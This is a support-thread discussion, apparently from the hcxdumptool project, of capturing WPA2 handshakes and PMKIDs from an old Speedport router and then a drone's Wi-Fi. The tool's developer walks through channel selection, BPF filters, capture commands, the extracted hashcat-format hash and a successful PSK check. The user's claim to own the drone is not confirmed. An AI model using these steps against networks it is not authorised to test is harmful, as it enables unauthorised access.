Unable to capture PMKID with Atheros AR5B95 (PCI card)

[simon0302010]

I am trying to crack the password of some old router I have laying around (it's like 15 years old). WPA2-PSK is enabled but my PMKID attack won't work. This is the output of hcxdumptool:

# hcxdumptool -i wlan0 -w PMKID --bpf=speedport.bpf --rds=3

Requesting physical interface capabilities. This may take some time.
Please be patient...

interface information:

phy idx hw-mac       virtual-mac  m ifname           driver (protocol)
---------------------------------------------------------------------------------------------
  0   3 904ce50bb292 b025aa0fd802 * wlan0            ath9k (NETLINK)


available frequencies: frequency [channel] tx-power of Regulatory Domain: 00

  2412 [  1] 17.0 dBm     2417 [  2] 17.0 dBm     2422 [  3] 17.0 dBm     2427 [  4] 17.0 dBm
  2432 [  5] 17.0 dBm     2437 [  6] 17.0 dBm     2442 [  7] 17.0 dBm     2447 [  8] 17.0 dBm
  2452 [  9] 17.0 dBm     2457 [ 10] 17.0 dBm     2462 [ 11] 17.0 dBm     2467 [ 12] 17.0 dBm
  2472 [ 13] 17.0 dBm     2484 [ 14] disabled


scan frequencies: frequency [channel] of Regulatory Domain: 00

  2412 [  1]      2437 [  6]      2462 [ 11]

This is a highly experimental penetration testing tool!
It is made to detect vulnerabilities in your NETWORK mercilessly!
Misuse a network, without specific authorization,
may cause irreparable damage and result in significant consequences!
Not understanding what you were doing> is not going to work as an excuse!

Initialize main scan loop...




 CHA   LAST   R 1 3 P S    MAC-AP    ESSID (last EAPOL on top)    SCAN-FREQUENCY:   2437
-----------------------------------------------------------------------------------------
   6 14:09:00         + 00040ed81e5a Speedport W 501V












   LAST   E 2 MAC-AP-ROGUE   MAC-CLIENT   ESSID (last M2ROGUE on top)
-----------------------------------------------------------------------------------------

[ZerBea]

I see three main problems:

VENDOR of the target is AVM.

$ whoismac -m 00040ed81e5a
VENDOR: AVM GmbH (UAA), unicast

This is the model with a 16 digit PSK (not calculated from MAC and SSID).
AVM disables PMKID caching per default.

R column is empty and 1 column is empty
Either the target does not receive frames coming from the ATHEROS device
or the ATHEROS device does not transmit
or the BPF is not correct (should be --bpfc="wlan addr1 00040ed81e5a || wlan addr2 00040ed81e5a || wlan addr3 00040ed81e5a" to get all frames for this test)

Target is on channel 6a (band A = 2.4GhHz) but channel hopping is enabled (1a, 6a, 11a). That makes an attack very slow (3times slower).
Please set attack channel (hcxdumptool -i wlan0 -w PMKID --bpf=speedport.bpf --rds=3 -c 6a)

BTW:
hcxdumptool has been refactored (completely) - please try latest git head

$ hcxdumptool -v
hcxdumptool 6.3.5-137-g391cfe0 (C) 2025 ZeroBeat
running on Linux kernel 6.12.21-1-lts
running GNU libc version 2.41
compiled by gcc 14.2.1
compiled with Linux API headers 6.13.0
compiled with GNU libc headers 2.41
enabled BPF compiler

[ZerBea]

Please give me a couple of minutes to setup an AVM environment.

[ZerBea]

here we go (as close as possible to your environment):

$ hcxdumptool -l
 1	 27	f81a67077d0e	f81a67077d0e	+	wlp48s0f4u2u4   	ath9k_htc	NETLINK

I don't have a PCI card, but an USB device running an ATHEROS chipset.

Do rcascan to get channel

$ sudo hcxdumptool --rcascan=active -c 11a --bpf=speedport.bpf 
CHA  BEACON  RESPONSE RSSI    MAC-AP    ESSID                  SCAN:  2462/11
------------------------------------------------------------------------------
 11 15:27:32 15:27:30  -62 ccce1edc3bee Speedport W 501V
^C
202 Packet(s) captured by kernel
0 Packet(s) dropped by kernel
exit on sigterm

compile BPF:

$ hcxdumptool --bpfc="wlan addr3 ccce1edc3bee || wlan addr2 ccce1edc3bee || wlan addr1 ccce1edc3bee" > speedport.bpf

run attack:

$ sudo hcxdumptool -c 11a --bpf=speedport.bpf --rds=1
...
CHA   LAST   EA123P    MAC-CL       MAC-AP    ESSID            SCAN:  2462/11
------------------------------------------------------------------------------
 11 15:29:45 ep+++  70665578cdab ccce1edc3bee Speedport W 501V
^C
323 Packet(s) captured by kernel
0 Packet(s) dropped by kernel
exit on sigterm

columns:

e == NETWORK is encrypted
p == Authentication Key Management is PSK (hashcat /JtR can work in it)
1 == we got an EAPOL M1 from the AP
2 == we got an EAPOL M2 (CHALLENGE) from the CLIENT (hcxdumptool is designed to hunt for these unencrypted EAPOL messages)
3 == we got an EAPOL M3 from the AP (AUTHORIZATION)
P == is empty - AP does not ransmit PMKIDs

0250330153630-rogue1.pcapng -o sp.22000

$ hcxpcapngtool 0250330153630.pcapng -o sp.22000
$ cat sp.22000
WPA*02*63c98b2cc61522a8a24b4fb883b35bbd*ccce1edc3bee*70665578cdab*5370656564706f727420572035303156*3141a71b49ee9e252d166f3fb6ba766ad381dad8e13221c713e69c0e0723ef26*0103007502010a0000000000000000f3542c46149ebdfa651efe3736c9b5362e71643ff0ac569d9ab4e697bc16d25c3c03000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac028c00*10 

$ hcxpmktool -l WPA*02*63c98b2cc61522a8a24b4fb883b35bbd*ccce1edc3bee*70665578cdab*5370656564706f727420572035303156*3141a71b49ee9e252d166f3fb6ba766ad381dad8e13221c713e69c0e0723ef26*0103007502010a0000000000000000f3542c46149ebdfa651efe3736c9b5362e71643ff0ac569d9ab4e697bc16d25c3c03000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac028c00*10 -p 12345678

HASH FORMAT.: EAPOL (WPA*02)
ESSID.......: Speedport W 501V
MAC_AP......: ccce1edc3bee
MAC_CLIENT..: 70665578cdab
PSK.........: 12345678
PMK.........: 7589999b3055fc056b2a24bbef1ca909289b814e03296a195bf8fefde828c262 (calculated)
KEY VERSION.: WPA2
NONCE 1.....: 3141a71b49ee9e252d166f3fb6ba766ad381dad8e13221c713e69c0e0723ef26
NONCE 2.....: 2c46149ebdfa651efe3736c9b5362e71643ff0ac569d9ab4e697bc16d25c3c03
PTK.........: f1c56e21bd2e49912b16046d63acad17a160c9c76f6e0070665578cdabccce1e (calculated)
KCK.........: f1c56e21bd2e49912b16046d63acad17 (calculated)
KEK.........: a160c9c76f6e0070665578cdabccce1e (calculated)
MIC.........: 63c98b2cc61522a8a24b4fb883b35bbd (confirmed)
PMKID.......: 57f81332703c95e54ca7963585654f67 (calculated)

Attack was successful.

[simon0302010]

The AVM router was just supposed to be a test to check if the tool works because I have a drone that opens a wifi but I don't know the password. This is what the output of hcxdumptool looks like when I attack the drone:

CHA   LAST   EA123P    MAC-CL       MAC-AP    ESSID            SCAN:  2437/6
------------------------------------------------------------------------------
  2 15:32:15 ep     b0febd5a6950 e40c5fca96be C-me_916108

If the issue originates from the wifi card I also have a Intel Centrino Advanced-N 6235 and a Intel PRO/Wireless 3945ABG available.

[simon0302010]

6.12.13

[simon0302010]

Now it looks like this:

CHA   LAST   EA123P    MAC-CL       MAC-AP    ESSID            SCAN:  2417/6
------------------------------------------------------------------------------
  2 16:19:15 ep     e4f14cbb8389 e40c5fca96be C-me_916108

What is the average time it takes to get the PMKID?

[ZerBea]

Distribution ?

Driver should be

$ hcxdumptool -l
  6	 32	6083e77cb5dc	6083e77cb5dc	+	wlp48s0f4u2u4   	rtl8xxxu	NETLINK

And not rtl8192eu!

[ZerBea]

What is the average time it takes to get the PMKID?
If you are on the channel < 5 seconds.

[ZerBea]

Regardless if the AP transmit a PMKID or not you should receive an EAPOL M1 (1 column).
If that is not the case there is something wrong:

• device does not transmit
• target does not receive
• NETWORK does not use AKM PSK

[simon0302010]

This is what hcxdumptool -l returns:
7 11 28ee520de5c3 e4f14cbb8389 + wlan1 rtl8xxxu NETLINK
I am using Kali Linux.

[ZerBea]

As a developer and coder I use Arch Linux on Desktop and Notebook.
My penetration testing system (WiFi) is a Raspberry Pi Zero (no w no wh) running self compiled (via toolchain) OpenWRT 24.10
#478

But to answer your question:
What distrubution works best?
The ditribution you installed by hand (and not by beautiful GUI installer) and configured by hand (knowing every running service by name).

[simon0302010]

If it isn't a W or WH, what WiFi adapter do you use?

[ZerBea]

These pictures explain it better than a thousand words:
#478 (reply in thread)

[simon0302010]

I have a Pi Zero. Maybe I can get better success rates using it (I am currently using a Thinkpad T61).

[ZerBea]

Cheap, small in size and power consumption is low.